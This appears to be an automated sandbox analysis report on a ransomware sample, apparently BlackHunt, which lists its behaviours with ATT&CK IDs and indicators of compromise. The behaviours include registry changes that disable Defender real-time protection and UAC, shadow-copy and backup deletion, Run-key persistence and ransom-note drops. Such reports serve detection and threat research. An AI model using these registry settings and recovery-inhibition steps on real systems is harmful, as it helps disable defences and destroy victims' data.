7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1

Data Destruction

T1485

pid	Process
4932	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1648	bcdedit.exe
4864	bcdedit.exe

Renames multiple (332) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\L:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\V:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\B:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\W:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\U:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\A:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\S:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\X:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\N:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\Q:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\H:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\Z:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\Y:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\T:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\I:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\O:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\P:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\M:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\R:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\J:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\E:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened (read-only)	\??\G:	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ko.properties	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\giflib.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\freebxml.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxml2.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11cryptotoken.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\libpng.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\dom.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.txt	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
972	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4800	vssadmin.exe
2584	vssadmin.exe
2568	vssadmin.exe
412	vssadmin.exe
2320	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeRestorePrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeBackupPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeTakeOwnershipPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeAuditPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeSecurityPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeIncBasePriorityPrivilege	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Token: SeBackupPrivilege	4900	vssvc.exe
Token: SeRestorePrivilege	4900	vssvc.exe
Token: SeAuditPrivilege	4900	vssvc.exe
Token: SeBackupPrivilege	3340	wbengine.exe
Token: SeRestorePrivilege	3340	wbengine.exe
Token: SeSecurityPrivilege	3340	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 412	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	91
PID 1108 wrote to memory of 412	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	91
PID 1108 wrote to memory of 808	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	93
PID 1108 wrote to memory of 808	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	93
PID 1108 wrote to memory of 972	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	95
PID 1108 wrote to memory of 972	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	95
PID 1108 wrote to memory of 4012	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	98
PID 1108 wrote to memory of 4012	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	98
PID 1108 wrote to memory of 3912	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	97
PID 1108 wrote to memory of 3912	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	97
PID 808 wrote to memory of 4344	808	cmd.exe	101
PID 808 wrote to memory of 4344	808	cmd.exe	101
PID 412 wrote to memory of 2076	412	cmd.exe	102
PID 412 wrote to memory of 2076	412	cmd.exe	102
PID 972 wrote to memory of 3468	972	schtasks.exe	104
PID 3912 wrote to memory of 2328	3912	cmd.exe	105
PID 972 wrote to memory of 3468	972	schtasks.exe	104
PID 3912 wrote to memory of 2328	3912	cmd.exe	105
PID 4012 wrote to memory of 1236	4012	cmd.exe	103
PID 4012 wrote to memory of 1236	4012	cmd.exe	103
PID 1108 wrote to memory of 3800	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	106
PID 1108 wrote to memory of 3800	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	106
PID 1108 wrote to memory of 1764	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	115
PID 1108 wrote to memory of 1764	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	115
PID 1108 wrote to memory of 4812	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	107
PID 1108 wrote to memory of 4812	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	107
PID 1108 wrote to memory of 3068	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	108
PID 1108 wrote to memory of 3068	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	108
PID 1108 wrote to memory of 1956	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	110
PID 1108 wrote to memory of 1956	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	110
PID 1108 wrote to memory of 692	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	135
PID 1108 wrote to memory of 692	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	135
PID 1108 wrote to memory of 436	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	134
PID 1108 wrote to memory of 436	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	134
PID 1108 wrote to memory of 3832	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	124
PID 1108 wrote to memory of 3832	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	124
PID 1108 wrote to memory of 4576	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	117
PID 1108 wrote to memory of 4576	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	117
PID 1108 wrote to memory of 2200	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	121
PID 1108 wrote to memory of 2200	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	121
PID 1108 wrote to memory of 2428	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	123
PID 1108 wrote to memory of 2428	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	123
PID 1108 wrote to memory of 4428	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	131
PID 1108 wrote to memory of 4428	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	131
PID 1108 wrote to memory of 4268	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	125
PID 1108 wrote to memory of 4268	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	125
PID 1108 wrote to memory of 3348	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	130
PID 1108 wrote to memory of 3348	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	130
PID 1108 wrote to memory of 4552	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	129
PID 1108 wrote to memory of 4552	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	129
PID 1108 wrote to memory of 4064	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	137
PID 1108 wrote to memory of 4064	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	137
PID 1108 wrote to memory of 3556	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	138
PID 1108 wrote to memory of 3556	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	138
PID 1108 wrote to memory of 4860	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	154
PID 1108 wrote to memory of 4860	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	154
